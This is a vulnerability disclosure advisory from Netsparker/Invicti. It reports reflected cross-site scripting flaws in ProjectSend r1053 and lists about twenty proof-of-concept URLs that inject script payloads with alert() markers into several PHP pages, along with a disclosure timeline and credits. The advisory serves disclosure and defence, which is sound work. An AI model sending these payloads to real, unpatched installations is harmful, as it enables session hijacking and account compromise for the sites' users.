Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerabilities in ProjectSend r1053
Affected Software: ProjectSend
Affected Versions: r1053
Homepage: https://www.projectsend.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-061

Technical Details
--------------------

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00773F)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: '"--></style></scRipt><scRipt>alert(0x00773F)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?select_all=3&batch%5b%5d=4969&page=x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22&action=none
Parameter Name: page
Parameter Type: GET
Attack Patern: x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E
Parameter Name:  Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?action=edit&id=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00BB7B)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: '"--></style></scRipt><scRipt>alert(0x00BB7B)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22
Parameter Name: page
Parameter Type: GET
Attack Patern: x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsext
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27=&action=none&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?client=Smith&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27=&search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

21th December 2018- First Contact
31st January 2019 - Details Sent
20th February 2019 - Last Attempt to Contact
4th March 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.